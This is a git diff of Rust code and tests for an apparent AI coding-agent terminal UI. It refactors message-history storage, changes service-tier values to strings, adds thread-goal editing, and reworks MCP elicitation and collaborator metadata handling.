@@ -3061,6 +3199,7 @@ async fn thread_read_session_state_does_not_reuse_primary_permission_profile() {
cwd: test_path_buf("/tmp/read").abs(),
cli_version: "0.0.0".to_string(),
source: codex_app_server_protocol::SessionSource::Unknown,
thread_source: None,
agent_nickname: None,
agent_role: None,
git_info: None,
@@ -3141,8 +3280,7 @@ fn agent_picker_item_name_snapshot() {
#[tokio::test]
async fn side_fork_config_is_ephemeral_and_appends_developer_guardrails() {
let mut app = make_test_app().await;
app.config.developer_instructions = Some("Existing developer policy.".to_string());
let app = make_test_app().await;
let original_approval_policy = app.config.permissions.approval_policy.value();
let original_sandbox_policy = app.config.legacy_sandbox_policy();
@@ -3158,7 +3296,6 @@ async fn side_fork_config_is_ephemeral_and_appends_developer_guardrails() {
.developer_instructions
.as_deref()
.expect("side developer instructions");
assert!(developer_instructions.contains("Existing developer policy."));
assert!(
developer_instructions.contains("You are in a side conversation, not the main thread.")
);
@@ -3186,6 +3323,49 @@ async fn side_fork_config_is_ephemeral_and_appends_developer_guardrails() {
assert!(app.transcript_cells.is_empty());
}
#[tokio::test]
async fn side_fork_config_inherits_parent_thread_runtime_settings() {
let mut app = make_test_app().await;
app.config.model = Some("persisted-default-model".to_string());
app.config.model_reasoning_effort = Some(ReasoningEffortConfig::Low);
let parent_service_tier = ServiceTier::Fast.request_value();
let parent_permission_profile = PermissionProfile::workspace_write();
app.chat_widget.set_model("parent-thread-model");
app.chat_widget
.set_reasoning_effort(Some(ReasoningEffortConfig::High));
app.chat_widget
.set_service_tier(Some(parent_service_tier.to_string()));
app.chat_widget
.set_approval_policy(AskForApproval::OnRequest);
app.chat_widget
.set_permission_profile(parent_permission_profile.clone())
.expect("test permission profile should be accepted");
app.chat_widget
.set_approvals_reviewer(ApprovalsReviewer::AutoReview);
let fork_config = app.side_fork_config();
assert_eq!(
(
fork_config.model.as_deref(),
fork_config.model_reasoning_effort,
fork_config.service_tier.as_deref(),
fork_config.permissions.approval_policy.value(),
fork_config.permissions.permission_profile(),
fork_config.approvals_reviewer,
),
(
Some("parent-thread-model"),
Some(ReasoningEffortConfig::High),
Some(parent_service_tier),
AskForApproval::OnRequest.to_core(),
parent_permission_profile,
ApprovalsReviewer::AutoReview,
)
);
}
#[tokio::test]
async fn side_start_block_message_tracks_open_side_conversation() {
let mut app = make_test_app().await;
@@ -3720,8 +3900,7 @@ async fn render_clear_ui_header_after_long_transcript_for_snapshot() -> String {
cwd: test_path_buf("/tmp/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: Some(ReasoningEffortConfig::High),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(PathBuf::new()),
};
@@ -3806,8 +3985,11 @@ async fn clear_ui_header_shows_fast_status_for_fast_capable_models() {
set_fast_mode_test_catalog(&mut app.chat_widget);
app.chat_widget
.set_reasoning_effort(Some(ReasoningEffortConfig::XHigh));
app.chat_widget
.set_service_tier(Some(codex_protocol::config_types::ServiceTier::Fast));
app.chat_widget.set_service_tier(Some(
codex_protocol::config_types::ServiceTier::Fast
.request_value()
.to_string(),
));
set_chatgpt_auth(&mut app.chat_widget);
set_fast_mode_test_catalog(&mut app.chat_widget);
@@ -3968,8 +4150,7 @@ fn test_thread_session(thread_id: ThreadId, cwd: PathBuf) -> ThreadSessionState
cwd: cwd.abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(PathBuf::new()),
}
@@ -4241,6 +4422,7 @@ fn exec_approval_request(
thread_id: thread_id.to_string(),
turn_id: turn_id.to_string(),
item_id: item_id.to_string(),
started_at_ms: 0,
approval_id: approval_id.map(str::to_string),
reason: Some("needs approval".to_string()),
network_approval_context: None,
@@ -4460,14 +4642,21 @@ fn active_turn_steer_race_extracts_actual_turn_id_from_mismatch() {
#[tokio::test]
async fn fresh_session_config_uses_current_service_tier() {
let mut app = make_test_app().await;
app.chat_widget
.set_service_tier(Some(codex_protocol::config_types::ServiceTier::Fast));
app.chat_widget.set_service_tier(Some(
codex_protocol::config_types::ServiceTier::Fast
.request_value()
.to_string(),
));
let config = app.fresh_session_config();
assert_eq!(
config.service_tier,
Some(codex_protocol::config_types::ServiceTier::Fast)
Some(
codex_protocol::config_types::ServiceTier::Fast
.request_value()
.to_string()
)
);
}
@@ -4510,8 +4699,7 @@ async fn backtrack_selection_with_duplicate_history_targets_unique_turn() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(PathBuf::new()),
};
@@ -4574,8 +4762,7 @@ async fn backtrack_selection_with_duplicate_history_targets_unique_turn() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(PathBuf::new()),
});
@@ -4667,8 +4854,7 @@ async fn backtrack_resubmit_preserves_data_image_urls_in_user_turn() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(PathBuf::new()),
});
@@ -4806,6 +4992,7 @@ async fn replace_chat_widget_reseeds_collab_agent_metadata_for_replay() {
let replacement = ChatWidget::new_with_app_event(ChatWidgetInit {
config: app.config.clone(),
environment_manager: app.environment_manager.clone(),
frame_requester: crate::tui::FrameRequester::test_dummy(),
app_event_tx: app.app_event_tx.clone(),
workspace_command_runner: None,
@@ -5015,6 +5202,7 @@ async fn thread_rollback_response_discards_queued_active_thread_events() {
&ThreadRollbackResponse {
thread: Thread {
id: thread_id.to_string(),
session_id: thread_id.to_string(),
forked_from_id: None,
preview: String::new(),
ephemeral: false,
@@ -5026,6 +5214,7 @@ async fn thread_rollback_response_discards_queued_active_thread_events() {
cwd: test_path_buf("/tmp/project").abs(),
cli_version: "0.0.0".to_string(),
source: SessionSource::Cli,
thread_source: None,
agent_nickname: None,
agent_role: None,
git_info: None,
@@ -5064,8 +5253,7 @@ async fn new_session_requests_shutdown_for_previous_conversation() {
cwd: test_path_buf("/home/user/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(PathBuf::new()),
};
@@ -5186,8 +5374,7 @@ async fn clear_only_ui_reset_preserves_chat_session_state() {
cwd: test_path_buf("/tmp/project").abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(PathBuf::new()),
});
+2 -2
View File
@@ -354,8 +354,7 @@ mod tests {
cwd: cwd.abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(PathBuf::new()),
}
@@ -466,6 +465,7 @@ mod tests {
thread_id: thread_id.to_string(),
turn_id: turn_id.to_string(),
item_id: item_id.to_string(),
started_at_ms: 0,
approval_id: approval_id.map(str::to_string),
reason: Some("needs approval".to_string()),
network_approval_context: None,
+72 -10
View File
@@ -69,6 +69,38 @@ impl App {
}
}
pub(super) async fn open_thread_goal_editor(
&mut self,
app_server: &mut AppServerSession,
thread_id: Option<ThreadId>,
) {
let Some(thread_id) = thread_id else {
self.show_no_thread_goal_to_edit();
return;
};
let result = app_server.thread_goal_get(thread_id).await;
if self.current_displayed_thread_id() != Some(thread_id) {
return;
}
let response = match result {
Ok(response) => response,
Err(err) => {
self.chat_widget
.add_error_message(format!("Failed to read thread goal: {err}"));
return;
}
};
let Some(goal) = response.goal else {
self.show_no_thread_goal_to_edit();
return;
};
self.chat_widget.show_goal_edit_prompt(thread_id, goal);
}
pub(super) async fn set_thread_goal_objective(
&mut self,
app_server: &mut AppServerSession,
@@ -76,7 +108,7 @@ impl App {
objective: String,
mode: ThreadGoalSetMode,
) {
if mode == ThreadGoalSetMode::ConfirmIfExists {
if matches!(mode, ThreadGoalSetMode::ConfirmIfExists) {
let result = app_server.thread_goal_get(thread_id).await;
if self.current_displayed_thread_id() != Some(thread_id) {
return;
@@ -96,13 +128,32 @@ impl App {
}
}
let replacing_goal = matches!(mode, ThreadGoalSetMode::ReplaceExisting);
if replacing_goal {
let result = app_server.thread_goal_clear(thread_id).await;
if let Err(err) = result {
if self.current_displayed_thread_id() != Some(thread_id) {
return;
}
self.chat_widget
.add_error_message(format!("Failed to replace thread goal: {err}"));
return;
}
}
let (status, token_budget) = match mode {
ThreadGoalSetMode::ConfirmIfExists | ThreadGoalSetMode::ReplaceExisting => {
(ThreadGoalStatus::Active, None)
}
ThreadGoalSetMode::UpdateExisting {
status,
token_budget,
} => (status, Some(token_budget)),
};
let result = app_server
.thread_goal_set(
thread_id,
Some(objective),
Some(ThreadGoalStatus::Active),
/*token_budget*/ None,
)
.thread_goal_set(thread_id, Some(objective), Some(status), token_budget)
.await;
if self.current_displayed_thread_id() != Some(thread_id) {
return;
@@ -113,9 +164,11 @@ impl App {
format!("Goal {}", goal_status_label(response.goal.status)),
Some(goal_usage_summary(&response.goal)),
),
Err(err) => self
.chat_widget
.add_error_message(format!("Failed to set thread goal: {err}")),
Err(err) => {
let action = if replacing_goal { "replace" } else { "set" };
self.chat_widget
.add_error_message(format!("Failed to {action} thread goal: {err}"));
}
}
}
@@ -208,4 +261,13 @@ impl App {
..Default::default()
});
}
fn show_no_thread_goal_to_edit(&mut self) {
self.chat_widget
.add_error_message("No goal is currently set.".to_string());
self.chat_widget.add_info_message(
"Usage: /goal <objective>".to_string(),
Some("Create a goal before editing it.".to_string()),
);
}
}
+105 -131
View File
@@ -262,31 +262,47 @@ impl App {
}),
),
ServerRequest::McpServerElicitationRequest { request_id, params } => {
if let Some(request) = McpServerElicitationFormRequest::from_app_server_request(
if let Some(params) = AppLinkViewParams::from_url_app_server_request(
thread_id,
&params.server_name,
request_id.clone(),
params.clone(),
&params.request,
) {
Some(ThreadInteractiveRequest::AppLink(params))
} else if let Some(request) =
McpServerElicitationFormRequest::from_app_server_request(
thread_id,
request_id.clone(),
params.clone(),
)
{
Some(ThreadInteractiveRequest::McpServerElicitation(request))
} else {
Some(ThreadInteractiveRequest::Approval(
ApprovalRequest::McpElicitation {
thread_id,
thread_label,
server_name: params.server_name.clone(),
request_id: request_id.clone(),
message: match &params.request {
codex_app_server_protocol::McpServerElicitationRequest::Form {
message,
..
}
| codex_app_server_protocol::McpServerElicitationRequest::Url {
message,
..
} => message.clone(),
match &params.request {
codex_app_server_protocol::McpServerElicitationRequest::Form {
message,
..
} => Some(ThreadInteractiveRequest::Approval(
ApprovalRequest::McpElicitation {
thread_id,
thread_label,
server_name: params.server_name.clone(),
request_id: request_id.clone(),
message: message.clone(),
},
},
))
)),
codex_app_server_protocol::McpServerElicitationRequest::Url { .. } => {
self.app_event_tx.resolve_elicitation(
thread_id,
params.server_name.clone(),
request_id.clone(),
codex_app_server_protocol::McpServerElicitationAction::Decline,
/*content*/ None,
/*meta*/ None,
);
None
}
}
}
}
ServerRequest::PermissionsRequestApproval { params, .. } => Some(
@@ -304,6 +320,9 @@ impl App {
pub(super) fn push_thread_interactive_request(&mut self, request: ThreadInteractiveRequest) {
match request {
ThreadInteractiveRequest::AppLink(params) => {
self.chat_widget.open_app_link_view(params);
}
ThreadInteractiveRequest::Approval(request) => {
self.render_inactive_patch_preview(&request);
self.chat_widget.push_approval_request(request);
@@ -394,10 +413,6 @@ impl App {
) -> Result<()> {
crate::session_log::log_outbound_op(&op);
if self.try_handle_local_history_op(thread_id, &op).await? {
return Ok(());
}
if self
.try_resolve_app_server_request(app_server, thread_id, &op)
.await?
@@ -422,70 +437,57 @@ impl App {
Ok(())
}
/// Spawn a background task that fetches MCP server status from the app-server
/// via paginated RPCs, then delivers the result back through
/// `AppEvent::McpInventoryLoaded`.
///
/// The spawned task is fire-and-forget: no `JoinHandle` is stored, so a stale
/// result may arrive after the user has moved on. We currently accept that
/// tradeoff because the effect is limited to stale inventory output in history,
/// while request-token invalidation would add cross-cutting async state for a
/// low-severity path.
pub(super) async fn try_handle_local_history_op(
/// Persist prompt text in the local cross-session message history.
pub(super) fn append_message_history_entry(&self, thread_id: ThreadId, text: String) {
let history_config = codex_message_history::HistoryConfig::new(
self.chat_widget.config_ref().codex_home.clone(),
&self.chat_widget.config_ref().history,
);
tokio::spawn(async move {
if let Err(err) =
codex_message_history::append_entry(&text, thread_id, &history_config).await
{
tracing::warn!(
thread_id = %thread_id,
error = %err,
"failed to append to message history"
);
}
});
}
/// Fetch one local cross-session message history entry for the requesting thread.
pub(super) async fn lookup_message_history_entry(
&mut self,
thread_id: ThreadId,
op: &AppCommand,
) -> Result<bool> {
match op {
AppCommand::AddToHistory { text } => {
let text = text.to_string();
let config = self.chat_widget.config_ref().clone();
tokio::spawn(async move {
if let Err(err) = append_message_history_entry(&text, &thread_id, &config).await
{
tracing::warn!(
thread_id = %thread_id,
error = %err,
"failed to append to message history"
);
}
});
Ok(true)
}
AppCommand::GetHistoryEntryRequest { offset, log_id } => {
let config = self.chat_widget.config_ref().clone();
let app_event_tx = self.app_event_tx.clone();
let offset = *offset;
let log_id = *log_id;
tokio::spawn(async move {
let entry_opt = tokio::task::spawn_blocking(move || {
lookup_message_history_entry(log_id, offset, &config)
})
.await
.unwrap_or_else(|err| {
tracing::warn!(error = %err, "history lookup task failed");
None
});
offset: usize,
log_id: u64,
) -> Result<()> {
let history_config = codex_message_history::HistoryConfig::new(
self.chat_widget.config_ref().codex_home.clone(),
&self.chat_widget.config_ref().history,
);
let app_event_tx = self.app_event_tx.clone();
tokio::spawn(async move {
let entry_opt = tokio::task::spawn_blocking(move || {
codex_message_history::lookup(log_id, offset, &history_config)
})
.await
.unwrap_or_else(|err| {
tracing::warn!(error = %err, "history lookup task failed");
None
});
app_event_tx.send(AppEvent::ThreadHistoryEntryResponse {
thread_id,
event: HistoryLookupResponse {
offset,
log_id,
entry: entry_opt.map(|entry| {
codex_protocol::message_history::HistoryEntry {
conversation_id: entry.session_id,
ts: entry.ts,
text: entry.text,
}
}),
},
});
});
Ok(true)
}
_ => Ok(false),
}
app_event_tx.send(AppEvent::ThreadHistoryEntryResponse {
thread_id,
event: HistoryLookupResponse {
offset,
log_id,
entry: entry_opt.map(|entry| entry.text),
},
});
});
Ok(())
}
pub(super) async fn try_submit_active_thread_op_via_app_server(
@@ -604,7 +606,7 @@ impl App {
model.to_string(),
*effort,
*summary,
*service_tier,
service_tier.clone(),
collaboration_mode.clone(),
*personality,
final_output_json_schema.clone(),
@@ -619,7 +621,6 @@ impl App {
.skills_list(codex_app_server_protocol::SkillsListParams {
cwds: cwds.clone(),
force_reload: *force_reload,
per_cwd_extra_user_roots: None,
})
.await,
"failed to refresh skills",
@@ -841,20 +842,14 @@ impl App {
Ok(())
}
/// Eagerly fetches nickname and role for receiver threads referenced by a collab notification.
/// Locally remembers receiver threads referenced by a collab notification.
///
/// This runs on every buffered thread notification before it reaches rendering. For each
/// receiver thread id that the navigation cache does not yet have metadata for, it issues a
/// `thread/read` RPC and registers the result in both `AgentNavigationState` and the
/// `ChatWidget` metadata map. Threads that already have a nickname or role cached are skipped,
/// so the cost is at most one RPC per thread over the lifetime of a session.
///
/// Failures are logged and silently ignored -- the worst outcome is that a rendered item shows
/// a thread id instead of a human-readable name, which is the same behavior the TUI had before
/// this change.
pub(super) async fn hydrate_collab_agent_metadata_for_notification(
/// This intentionally avoids app-server reads on the active-thread rendering path. During large
/// fan-outs the app-server can be saturated with spawn work, and blocking here would freeze the
/// TUI event loop. Metadata from `ThreadStarted` or explicit picker refreshes still fills in
/// names and roles later; until then, rendering falls back to the thread id.
pub(super) fn cache_collab_receiver_threads_for_notification(
&mut self,
app_server: &mut AppServerSession,
notification: &ServerNotification,
) {
let Some(receiver_thread_ids) = collab_receiver_thread_ids(notification) else {
@@ -862,42 +857,26 @@ impl App {
};
for receiver_thread_id in receiver_thread_ids {
if collab_receiver_is_not_found(notification, receiver_thread_id) {
continue;
}
let Ok(thread_id) = ThreadId::from_string(receiver_thread_id) else {
tracing::warn!(
thread_id = receiver_thread_id,
"ignoring collab receiver with invalid thread id during metadata hydration"
"ignoring collab receiver with invalid thread id during local caching"
);
continue;
};
if self
.agent_navigation
.get(&thread_id)
.is_some_and(|entry| entry.agent_nickname.is_some() || entry.agent_role.is_some())
{
if self.agent_navigation.get(&thread_id).is_some() {
continue;
}
match app_server
.thread_read(thread_id, /*include_turns*/ false)
.await
{
Ok(thread) => {
self.upsert_agent_picker_thread(
thread_id,
thread.agent_nickname,
thread.agent_role,
/*is_closed*/ false,
);
}
Err(err) => {
tracing::warn!(
thread_id = %thread_id,
error = %err,
"failed to hydrate collab receiver thread metadata"
);
}
}
self.upsert_agent_picker_thread(
thread_id, /*agent_nickname*/ None, /*agent_role*/ None,
/*is_closed*/ false,
);
}
}
@@ -922,8 +901,7 @@ impl App {
} else if rollout_path.is_some() {
session.model.clear();
}
session.history_log_id = 0;
session.history_entry_count = 0;
session.message_history = None;
session.rollout_path = rollout_path;
self.upsert_agent_picker_thread(
thread_id,
@@ -1384,6 +1362,7 @@ impl App {
);
match event {
ThreadBufferedEvent::Notification(notification) => {
self.cache_collab_receiver_threads_for_notification(&notification);
self.chat_widget
.handle_server_notification(notification, /*replay_kind*/ None);
}
@@ -1486,11 +1465,6 @@ impl App {
// thread, so unrelated shutdowns cannot consume this marker.
self.pending_shutdown_exit_thread_id = None;
}
if let ThreadBufferedEvent::Notification(notification) = &event {
self.hydrate_collab_agent_metadata_for_notification(app_server, notification)
.await;
}
self.handle_thread_event_now(event);
if self.backtrack_render_pending {
tui.frame_requester().schedule_frame();
+6 -7
View File
@@ -63,7 +63,7 @@ impl App {
thread_name: None,
model: self.chat_widget.current_model().to_string(),
model_provider_id: self.config.model_provider_id.clone(),
service_tier: self.chat_widget.current_service_tier(),
service_tier: self.chat_widget.current_service_tier().map(str::to_string),
approval_policy: AskForApproval::from(
self.config.permissions.approval_policy.value(),
),
@@ -73,8 +73,7 @@ impl App {
cwd: thread.cwd.clone(),
instruction_source_paths: Vec::new(),
reasoning_effort: self.chat_widget.current_reasoning_effort(),
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: thread.path.clone(),
});
@@ -93,8 +92,7 @@ impl App {
} else if thread.path.is_some() {
session.model.clear();
}
session.history_log_id = 0;
session.history_entry_count = 0;
session.message_history = None;
session
}
@@ -150,8 +148,7 @@ mod tests {
cwd: cwd.abs(),
instruction_source_paths: Vec::new(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
message_history: None,
network_proxy: None,
rollout_path: Some(PathBuf::new()),
}
@@ -322,6 +319,7 @@ mod tests {
};
let read_thread = Thread {
id: read_thread_id.to_string(),
session_id: read_thread_id.to_string(),
forked_from_id: None,
preview: "read thread".to_string(),
ephemeral: false,
@@ -333,6 +331,7 @@ mod tests {
cwd: test_path_buf("/tmp/read").abs(),
cli_version: "0.0.0".to_string(),
source: codex_app_server_protocol::SessionSource::Unknown,
thread_source: None,
agent_nickname: None,
agent_role: None,
git_info: None,
+4 -20
View File
@@ -15,7 +15,6 @@ use codex_protocol::approvals::GuardianAssessmentEvent;
use codex_protocol::config_types::CollaborationMode;
use codex_protocol::config_types::Personality;
use codex_protocol::config_types::ReasoningSummary as ReasoningSummaryConfig;
use codex_protocol::config_types::ServiceTier;
use codex_protocol::config_types::WindowsSandboxLevel;
use codex_protocol::models::PermissionProfile;
use codex_protocol::openai_models::ReasoningEffort as ReasoningEffortConfig;
@@ -46,7 +45,7 @@ pub(crate) enum AppCommand {
model: String,
effort: Option<ReasoningEffortConfig>,
summary: Option<ReasoningSummaryConfig>,
service_tier: Option<Option<ServiceTier>>,
service_tier: Option<Option<String>>,
final_output_json_schema: Option<Value>,
collaboration_mode: Option<CollaborationMode>,
personality: Option<Personality>,
@@ -60,7 +59,7 @@ pub(crate) enum AppCommand {
model: Option<String>,
effort: Option<Option<ReasoningEffortConfig>>,
summary: Option<ReasoningSummaryConfig>,
service_tier: Option<Option<ServiceTier>>,
service_tier: Option<Option<String>>,
collaboration_mode: Option<CollaborationMode>,
personality: Option<Personality>,
},
@@ -104,13 +103,6 @@ pub(crate) enum AppCommand {
Review {
target: ReviewTarget,
},
AddToHistory {
text: String,
},
GetHistoryEntryRequest {
offset: usize,
log_id: u64,
},
ApproveGuardianDeniedAction {
event: GuardianAssessmentEvent,
},
@@ -154,7 +146,7 @@ impl AppCommand {
model: String,
effort: Option<ReasoningEffortConfig>,
summary: Option<ReasoningSummaryConfig>,
service_tier: Option<Option<ServiceTier>>,
service_tier: Option<Option<String>>,
final_output_json_schema: Option<Value>,
collaboration_mode: Option<CollaborationMode>,
personality: Option<Personality>,
@@ -185,7 +177,7 @@ impl AppCommand {
model: Option<String>,
effort: Option<Option<ReasoningEffortConfig>>,
summary: Option<ReasoningSummaryConfig>,
service_tier: Option<Option<ServiceTier>>,
service_tier: Option<Option<String>>,
collaboration_mode: Option<CollaborationMode>,
personality: Option<Personality>,
) -> Self {
@@ -276,14 +268,6 @@ impl AppCommand {
Self::Review { target }
}
pub(crate) fn add_to_history(text: String) -> Self {
Self::AddToHistory { text }
}
pub(crate) fn history_lookup(offset: usize, log_id: u64) -> Self {
Self::GetHistoryEntryRequest { offset, log_id }
}
pub(crate) fn approve_guardian_denied_action(event: GuardianAssessmentEvent) -> Self {
Self::ApproveGuardianDeniedAction { event }
}
+41 -4
View File
@@ -28,7 +28,6 @@ use codex_app_server_protocol::SkillsListResponse;
use codex_app_server_protocol::ThreadGoalStatus;
use codex_file_search::FileMatch;
use codex_protocol::ThreadId;
use codex_protocol::message_history::HistoryEntry;
use codex_protocol::openai_models::ModelPreset;
use codex_utils_absolute_path::AbsolutePathBuf;
use codex_utils_approval_presets::ApprovalPreset;
@@ -44,7 +43,6 @@ use codex_features::Feature;
use codex_plugin::PluginCapabilitySummary;
use codex_protocol::config_types::CollaborationModeMask;
use codex_protocol::config_types::Personality;
use codex_protocol::config_types::ServiceTier;
use codex_protocol::models::PermissionProfile;
use codex_protocol::openai_models::ReasoningEffort;
use codex_realtime_webrtc::RealtimeWebrtcEvent;
@@ -62,13 +60,17 @@ pub(crate) enum RealtimeAudioDeviceKind {
pub(crate) enum ThreadGoalSetMode {
ConfirmIfExists,
ReplaceExisting,
UpdateExisting {
status: ThreadGoalStatus,
token_budget: Option<i64>,
},
}
#[derive(Debug, Clone)]
pub(crate) struct HistoryLookupResponse {
pub(crate) offset: usize,
pub(crate) log_id: u64,
pub(crate) entry: Option<HistoryEntry>,
pub(crate) entry: Option<String>,
}
impl RealtimeAudioDeviceKind {
@@ -87,6 +89,12 @@ impl RealtimeAudioDeviceKind {
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub(crate) enum ConsolidationScrollbackReflow {
IfResizeReflowRan,
Required,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
#[cfg_attr(not(target_os = "windows"), allow(dead_code))]
pub(crate) enum WindowsSandboxEnableMode {
@@ -150,6 +158,19 @@ pub(crate) enum AppEvent {
event: HistoryLookupResponse,
},
/// Persist a submitted prompt in the cross-session message history.
AppendMessageHistoryEntry {
thread_id: ThreadId,
text: String,
},
/// Fetch a persistent cross-session message history entry by offset.
LookupMessageHistoryEntry {
thread_id: ThreadId,
offset: usize,
log_id: u64,
},
/// Start a new session.
NewSession,
@@ -227,6 +248,11 @@ pub(crate) enum AppEvent {
thread_id: ThreadId,
},
/// Open an editor for the current thread goal objective.
OpenThreadGoalEditor {
thread_id: Option<ThreadId>,
},
/// Set or replace the current thread goal objective.
SetThreadGoalObjective {
thread_id: ThreadId,
@@ -507,9 +533,15 @@ pub(crate) enum AppEvent {
/// finalization. The `App` handler walks backward through `transcript_cells`
/// to find the `AgentMessageCell` run and splices in the consolidated cell.
/// The `cwd` keeps local file-link display stable across the final re-render.
/// `scrollback_reflow` lets table-tail finalization force the already-emitted
/// terminal scrollback to be rebuilt from the consolidated source-backed cell.
/// `deferred_history_cell` lets callers add the final stream tail to the
/// transcript without first writing its provisional render to scrollback.
ConsolidateAgentMessage {
source: String,
cwd: PathBuf,
scrollback_reflow: ConsolidationScrollbackReflow,
deferred_history_cell: Option<Box<dyn HistoryCell>>,
},
/// Replace the contiguous run of streaming `ProposedPlanStreamCell`s at the
@@ -557,7 +589,7 @@ pub(crate) enum AppEvent {
/// Persist the selected service tier to the appropriate config.
PersistServiceTierSelection {
service_tier: Option<ServiceTier>,
service_tier: Option<String>,
},
/// Open the device picker for a realtime microphone or speaker.
@@ -764,6 +796,11 @@ pub(crate) enum AppEvent {
current_hash: String,
},
/// Trust the current definitions for one or more hooks by stable hook key.
TrustHooks {
updates: Vec<crate::hooks_rpc::HookTrustUpdate>,
},
/// Result of persisting hook enabled state.
HookEnabledSet {
key: String,
+158 -22
View File
@@ -4,11 +4,9 @@
//! request/response plumbing out of `App` and `ChatWidget`.
use crate::bottom_pane::FeedbackAudience;
#[cfg(test)]
use crate::legacy_core::append_message_history_entry;
use crate::legacy_core::config::Config;
use crate::legacy_core::message_history_metadata;
use crate::permission_compat::legacy_compatible_permission_profile;
use crate::session_state::MessageHistoryMetadata;
use crate::session_state::ThreadSessionState;
use crate::status::StatusAccountDisplay;
use crate::status::plan_type_display_name;
@@ -89,6 +87,7 @@ use codex_app_server_protocol::ThreadSetNameParams;
use codex_app_server_protocol::ThreadSetNameResponse;
use codex_app_server_protocol::ThreadShellCommandParams;
use codex_app_server_protocol::ThreadShellCommandResponse;
use codex_app_server_protocol::ThreadSource;
use codex_app_server_protocol::ThreadStartParams;
use codex_app_server_protocol::ThreadStartResponse;
use codex_app_server_protocol::ThreadStartSource;
@@ -531,7 +530,7 @@ impl AppServerSession {
model: String,
effort: Option<codex_protocol::openai_models::ReasoningEffort>,
summary: Option<codex_protocol::config_types::ReasoningSummary>,
service_tier: Option<Option<codex_protocol::config_types::ServiceTier>>,
service_tier: Option<Option<String>>,
collaboration_mode: Option<codex_protocol::config_types::CollaborationMode>,
personality: Option<codex_protocol::config_types::Personality>,
output_schema: Option<serde_json::Value>,
@@ -1077,12 +1076,50 @@ fn approvals_reviewer_override_from_config(
fn config_request_overrides_from_config(
config: &Config,
) -> Option<HashMap<String, serde_json::Value>> {
config.active_profile.as_ref().map(|profile| {
HashMap::from([(
"profile".to_string(),
serde_json::Value::String(profile.clone()),
)])
})
let mut overrides = HashMap::new();
let mut insert = |key: &str, value: Option<String>| {
if let Some(value) = value {
overrides.insert(key.to_string(), serde_json::Value::String(value));
}
};
insert("profile", config.active_profile.clone());
insert(
"model_reasoning_effort",
config
.model_reasoning_effort
.map(|effort| effort.to_string()),
);
insert(
"model_reasoning_summary",
config
.model_reasoning_summary
.map(|summary| summary.to_string()),
);
insert(
"model_verbosity",
config
.model_verbosity
.map(|verbosity| verbosity.to_string()),
);
insert(
"personality",
config
.personality
.map(|personality| personality.to_string()),
);
insert(
"web_search",
Some(config.web_search_mode.value().to_string()),
);
Some(overrides)
}
fn service_tier_override_from_config(config: &Config) -> Option<Option<String>> {
config
.service_tier
.clone()
.map(Some)
.or_else(|| (config.notices.fast_default_opt_out == Some(true)).then_some(None))
}
fn sandbox_mode_from_permission_profile(
@@ -1189,6 +1226,7 @@ fn thread_start_params_from_config(
ThreadStartParams {
model: config.model.clone(),
model_provider: thread_params_mode.model_provider_from_config(config),
service_tier: service_tier_override_from_config(config),
cwd: thread_cwd_from_config(config, thread_params_mode, remote_cwd_override),
approval_policy: Some(config.permissions.approval_policy.value().into()),
approvals_reviewer: approvals_reviewer_override_from_config(config),
@@ -1197,6 +1235,7 @@ fn thread_start_params_from_config(
config: config_request_overrides_from_config(config),
ephemeral: Some(config.ephemeral),
session_start_source,
thread_source: Some(ThreadSource::User),
persist_extended_history: false,
..ThreadStartParams::default()
}
@@ -1222,6 +1261,7 @@ fn thread_resume_params_from_config(
thread_id: thread_id.to_string(),
model: config.model.clone(),
model_provider: thread_params_mode.model_provider_from_config(&config),
service_tier: service_tier_override_from_config(&config),
cwd: thread_cwd_from_config(&config, thread_params_mode, remote_cwd_override),
approval_policy: Some(config.permissions.approval_policy.value().into()),
approvals_reviewer: approvals_reviewer_override_from_config(&config),
@@ -1253,6 +1293,7 @@ fn thread_fork_params_from_config(
thread_id: thread_id.to_string(),
model: config.model.clone(),
model_provider: thread_params_mode.model_provider_from_config(&config),
service_tier: service_tier_override_from_config(&config),
cwd: thread_cwd_from_config(&config, thread_params_mode, remote_cwd_override),
approval_policy: Some(config.permissions.approval_policy.value().into()),
approvals_reviewer: approvals_reviewer_override_from_config(&config),
@@ -1262,6 +1303,7 @@ fn thread_fork_params_from_config(
base_instructions: config.base_instructions.clone(),
developer_instructions: config.developer_instructions.clone(),
ephemeral: config.ephemeral,
thread_source: Some(ThreadSource::User),
persist_extended_history: false,
..ThreadForkParams::default()
}
@@ -1344,7 +1386,7 @@ async fn thread_session_state_from_thread_start_response(
response.thread.path.clone(),
response.model.clone(),
response.model_provider.clone(),
response.service_tier,
response.service_tier.clone(),
response.approval_policy,
response.approvals_reviewer.to_core(),
permission_profile,
@@ -1376,7 +1418,7 @@ async fn thread_session_state_from_thread_resume_response(
response.thread.path.clone(),
response.model.clone(),
response.model_provider.clone(),
response.service_tier,
response.service_tier.clone(),
response.approval_policy,
response.approvals_reviewer.to_core(),
permission_profile,
@@ -1408,7 +1450,7 @@ async fn thread_session_state_from_thread_fork_response(
response.thread.path.clone(),
response.model.clone(),
response.model_provider.clone(),
